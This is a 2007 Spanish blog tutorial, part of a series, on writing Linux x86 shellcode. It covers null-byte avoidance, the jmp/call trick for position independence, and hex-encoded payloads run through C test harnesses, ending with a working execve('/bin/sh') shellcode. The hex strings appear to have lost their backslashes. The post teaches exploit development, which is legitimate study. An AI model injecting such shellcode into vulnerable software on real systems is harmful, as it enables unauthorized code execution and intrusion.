miércoles, 11 de julio de 2007

El origen del mal - 0x04

El logo del mal


Desarrollo de shellcodes (I)


(Atención, no leer esto de resaca sanferminera)


En la última entrega vimos una introducción a los shellcodes, esas pequeñas porciones de código que se pueden inyectar en las aplicaciones vulnerables. El primer ejemplo era el shellcode más mínimo, el que no hace más que un exit.


Hoy vamos a ver como desarrollar shellcodes más útiles. Lo que importa ahora es saber a qué problemas nos enfrentamos a la hora de desarrollar shellcodes y detalles que debemos tener en cuenta a la hora de compilar los códigos de prueba.


Desarrollo de shellcodes: problemas y soluciones

Como ya se dijo anteriormente, si estamos con el kernel 2.6 puede que el compilador no traduzca el código de c a ensamblador con llamadas int 80h. Así que habrá que probar un poco el ensamblador a pelo, conociendo algunas llamadas de sistemas (write, execve y exit) y sobre todo los parámetros que estas esperan recibir.


Vamos a hacer un shellcode que simplemente muestre un mensaje por pantalla. Para eso no tiene más que invocar la syscall write, una función del kernel. write espera tres parámetros:
* La cadena que queremos escribir
* El fichero en el que vamos a escribir: 1 o salida estándar
* La longitud de la cadena que vamos a escribir
Para invocar write desde ensamblador debemos pasar el número de llamada 0x04 a la interrupción int 80h. Programándolo de manera normal quedaría así:

Listado: hola.asm

SECTION text
global _start
saludo db "Hola, mundo!",10,13
_start:
mov eax,0
mov ebx,0
mov ecx,0
mov edx,0
mov ecx,saludo
mov ebx,1
mov edx,14
mov eax,4
int 80h

mov ebx,0
mov eax,1
int 80h

----------------------------------
Compilación y linkado:
root@4vientos:~/dia4# nasm -f elf hola.asm
root@4vientos:~/dia4# ld -s -o hola hola.o
(-s quita los símbolos)

Resultado:
root@4vientos:~/dia4# ./hola
Hola, mundo!
root@4vientos:~/dia4#

El programa en ensamblador funciona perfectamente pero NO lo podríamos usar como shellcode para inyectarlo en memoria por dos problemas muy importantes.
1. El valor nulo. Al compilar el código nos encontraremos con el valor 0 en más de una ocasión, en las instrucciones tipo mov ecx, 0 por ejemplo. En un shellcode el valor 0 o 0x00 puede interpretarse como null o como el final de una cadena por lo que el shellcode no se ejecutaría por completo. Solución: usar otras instrucciones para no tener que escribir 0. Para la asignación tipo
mov ebx,0
lo mejor es usar el viejo truco del xor
xor ebx,ebx
con el que se consigue el mismo efecto y además es más eficiente.

2. El direccionamiento de memoria. Al compilar el código del programita, la cadena "Hola, mundo!" tendrá una dirección de memoria concreta asignada. Si inyectáramos este shellcode en la memoria de otro programa no sería capaz de acceder a la cadena ya que esta se supone que debiera estar en una posición fija y aparte que no estaría permitido acceder a una zona cualquiera de la memoria, la cadena NO estará allí. solución: Hay que reescribir el programa de tal forma que los datos sean accesibles al margen de la zona de memoria en la que se encuentren. Para eso se hace uso de la pila y de las llamadas a funciones. Al usar la instrucción call en la pila se guarda el valor de la siguiente instrucción, es decir, la posición de memoria de lo que haya a continuación. Si justo metemos ahí el valor que vamos a usar
podremos sacar su dirección con haciendo un pop.

Este sería el nuevo código:

Listado : hola2.asm

global _start
_start:
xor eax,eax
xor ebx,ebx
xor ecx,ecx
xor edx,edx
jmp short string
code:
pop ecx
mov bl,1
mov dl,14
mov al, 4
int 80h
xor ebx,ebx
xor eax,eax
mov al,1
int 80h
string:
call code
db 'Hola, mundo!',10,13

Compilación y linkado:
root@4vientos:~/dia4# nasm -f elf hola2.asm
root@4vientos:~/dia4# ld -s -o hola2 hola2.o

Vamos a probarlo.
root@4vientos:~/dia4# ./hola2
Hola, mundo!
root@4vientos:~/dia4#

Perfecto! ya lo podemos probar como shellcode.
Sacamos el código hexadecimal:

root@4vientos:~/dia4# objdump -d hola2

hola2: formato del fichero elf32-i386

Desensamblado de la sección .text:

08048080 :
8048080: 31 c0 xor %eax,%eax
8048082: 31 db xor %ebx,%ebx
8048084: 31 c9 xor %ecx,%ecx
8048086: 31 d2 xor %edx,%edx
8048088: eb 11 jmp 0x804809b
804808a: 59 pop %ecx
804808b: b3 01 mov $0x1,%bl
804808d: b2 0e mov $0xe,%dl
804808f: b0 04 mov $0x4,%al
8048091: cd 80 int $0x80
8048093: 31 db xor %ebx,%ebx
8048095: 31 c0 xor %eax,%eax
8048097: b0 01 mov $0x1,%al
8048099: cd 80 int $0x80
804809b: e8 ea ff ff ff call 0x804808a
80480a0: 48 dec %eax
80480a1: 6f outsl %ds:(%esi),(%dx)
80480a2: 6c insb (%dx),%es:(%edi)
80480a3: 61 popa
80480a4: 2c 20 sub $0x20,%al
80480a6: 6d insl (%dx),%es:(%edi)
80480a7: 75 6e jne 0x8048117
80480a9: 64 6f outsl %fs:(%esi),(%dx)
80480ab: 21 0a and %ecx,(%edx)
80480ad: 0d .byte 0xd
root@4vientos:~/dia4#

Lo pasamos a nuestro programita de c que se encargará de probar el shellcode.
Pero cuidado.
Si usaramos:

int main()
{
int *ret;

ret = (int *)&ret + 2;
*ret = shellcode;
}

Puede que NO siempre funcione con ret = (int *)&ret + 2; y haya que corregirlo y hacer +8.
Para evitar problemas vamos a usar la otra manera, que es más genérica:

Listado: testshellcode1.c

char shellcode[] =
"x31xc0"
"x31xdb"
"x31xc9"
"x31xd2"
"xebx11"
"x59"
"xb3x01"
"xb2x0e"
"xb0x04"
"xcdx80"
"x31xdb"
"x31xc0"
"xb0x01"
"xcdx80"
"xe8xeaxffxffxff"
"x48x6fx6cx61x2cx20x6dx75x6ex64x6fx21x0ax0d";
int main()
{
// Definimos un puntero a una función
int (*mifuncion)();

// Le asignamos a la función el shellcode
mifuncion = (int (*)()) shellcode;

// Invocamos la funcio
(int)(*mifuncion)();
}

Vamos a compilar y ejecutar:

root@4vientos:~/dia4# gcc -o testshellcode1 testshellcode1.c
root@4vientos:~/dia4# ./testshellcode1
Hola, mundo!
root@4vientos:~/dia4#

Funciona perfectamente como shellcode! pero vamos a crear un código más provechoso.
Uno que ponga en marcha un interprete de comandos o shell.

Un shell

Lo que queremos hacer es que nuestro programa ejecute un shell, es decir, que invoque el programa /bin/sh. Para eso usaremos la llamada de sistema execve.
Cosa que en lenguaje c haríamos así:

Listado: shellc.c

#include <stdio.h>

void main()
{
char * prog[2];
prog[0] = "/bin/sh";
prog[1] = NULL;

execve(prog[0],prog,NULL);
}

Como se puede observar, la llamada execve necesita tres parámetros:
* Una cadena con el comando que se quiere ejecutar, en este caso un shell : /bin/sh
* Un puntero a un array con dos elementos: el comando y null
* NULL, es decir, 0x00

Vamos a ver cómo sería ese programa en ensamblador:

Listado : shell.asm

SECTION .data
prog db '/bin/sh.xxxxyyyy'
SECTION .text
global _start
_start:
mov eax,0
mov ebx,0
mov ecx,0
mov edx,0
mov esi,prog
mov byte [esi+7],al
mov ebx,esi
mov long [esi+8],ebx
mov long [esi+12],eax
lea ecx,[esi+8]
lea edx,[esi+12]
mov byte al,0x0b
int 80h

mov ebx, 0
mov byte al,0x01
int 80h

Compilación y linkado:
root@4vientos:~/dia4# nasm -f elf shell.asm
root@4vientos:~/dia4# ld -s -o shell shell.o

Formato de los segmentos:

root@4vientos:~/dia4# objdump -h shell

shell: formato del fichero elf32-i386

Secciones:
Ind Nombre Tamaño VMA LMA Desp fich Alin
0 .text 00000028 08048080 08048080 00000080 2**4
CONTENTS, ALLOC, LOAD, READONLY, CODE
1 .data 00000010 080490a8 080490a8 000000a8 2**2
CONTENTS, ALLOC, LOAD, DATA
2 .comment 0000001f 00000000 00000000 000000b8 2**0
CONTENTS, READONLY

Ejecución:
root@4vientos:~/b0f/dia4# ./shell
sh-3.1#

Código modificado para shellcodes. Así es como debiéramos corregirlo para evitar los problemas mencionados antes: el del byte nulo y el de direccionamiento de memoria:

Listado : shell2.asm

[SECTION .text]
global _start
_start:
jmp short llamada
code:
pop ebx
xor eax,eax
cdq
mov byte [ebx+7],al
mov [ebx+8],ebx
mov [ebx+12],eax
lea ecx, [ebx+8]
mov byte al,0x0b
int 80h
llamada:
call code
db '/bin/shXYYYYZZZZ'

Compilación y linkado:
root@4vientos:~/dia4# nasm -f elf shell2.asm
root@4vientos:~/dia4# ld -s -o shell2 shell2.o

Ejecución:
root@4vientos:~/dia4# ./shell2
Violación de segmento
root@4vientos:~/dia4#

Vaya! nos sale un problema. ¿Por qué? el programa trata de escribir una zona del segmento de código, y eso no lo hace gracia, por seguridad claro está. El segmento de código suele protegerse quedándose como READONLY como podemos observar al hacer un objdump y ver las cabeceras.

root@4vientos:~/dia4# objdump -h shell2

shell2: formato del fichero elf32-i386

Secciones:
Ind Nombre Tamaño VMA LMA Desp fich Alin
0 .text 0000002b 08048080 08048080 00000080 2**4
CONTENTS, ALLOC, LOAD, READONLY, CODE
1 .comment 0000001f 00000000 00000000 000000ab 2**0
CONTENTS, READONLY

Si echas un ojo al shell anterior, verás que la parte que hay que modificar está en el segmento DATA y sobre ese sí se permite escribir. En fin, para poder hacer pruebas podemos linkar de otra manera.

Solución:
root@4vientos:~/dia4# ld -N -o shell2 shell2.o

Ahora sí:
root@4vientos:~/dia4# ./shell2
sh-3.1# exit

Vamos a desensamblarlo para sacar los bytes del shellcode:

root@4vientos:~/dia4# objdump -d shell2

shell2: formato del fichero elf32-i386

Desensamblado de la sección .text:

08048080 :
8048080: eb 14 jmp 8048096

08048082 code:
8048082: 5b pop %ebx
8048083: 31 c0 xor %eax,%eax
8048085: 99 cltd
8048086: 88 43 07 mov %al,0x7(%ebx)
8048089: 89 5b 08 mov %ebx,0x8(%ebx)
804808c: 89 43 0c mov %eax,0xc(%ebx)
804808f: 8d 4b 08 lea 0x8(%ebx),%ecx
8048092: b0 0b mov $0xb,%al
8048094: cd 80 int $0x80

08048096 :
8048096: e8 e7 ff ff ff call 8048082
804809b: 2f das
804809c: 62 69 6e bound %ebp,0x6e(%ecx)
804809f: 2f das
80480a0: 73 68 jae 804810a
80480a2: 58 pop %eax
80480a3: 59 pop %ecx
80480a4: 59 pop %ecx
80480a5: 59 pop %ecx
80480a6: 59 pop %ecx
80480a7: 5a pop %edx
80480a8: 5a pop %edx
80480a9: 5a pop %edx
80480aa: 5a pop %edx
root@4vientos:~/dia4#

Lo pasamos a nuestro programa de pruebas:

// testshellcode2.c

char shellcode[] =
"xebx14"
"x5b"
"x31xc0"
"x99"
"x88x43x07"
"x89x5bx08"
"x89x43x0c"
"x8dx4bx08"
"xb0x0b"
"xcdx80"
"xe8xe7xffxffxff"
"x2fx62x69x6ex2fx73x68x58x59x59x59x59x5ax5ax5ax5a";

int main()
{
// Definimos un puntero a una función
int (*mifuncion)();

// Le asignamos a la función el shellcode
mifuncion = (int (*)()) shellcode;

// Invocamos la funcio
(int)(*mifuncion)();
}

Compilamos:

root@4vientos:~/dia4# gcc -o testshellcode2 testshellcode2.c

Lo probamos
root@4vientos:~/dia4# ./testshellcode2
sh-3.1#

Perfecto!!

Estos han sido ejemplos muy sencillos, pero más adelante veremos shellcodes un poco más complejos y útiles, como los que nos proporcionan un shell remoto.

Hasta la próxima

2 comentarios: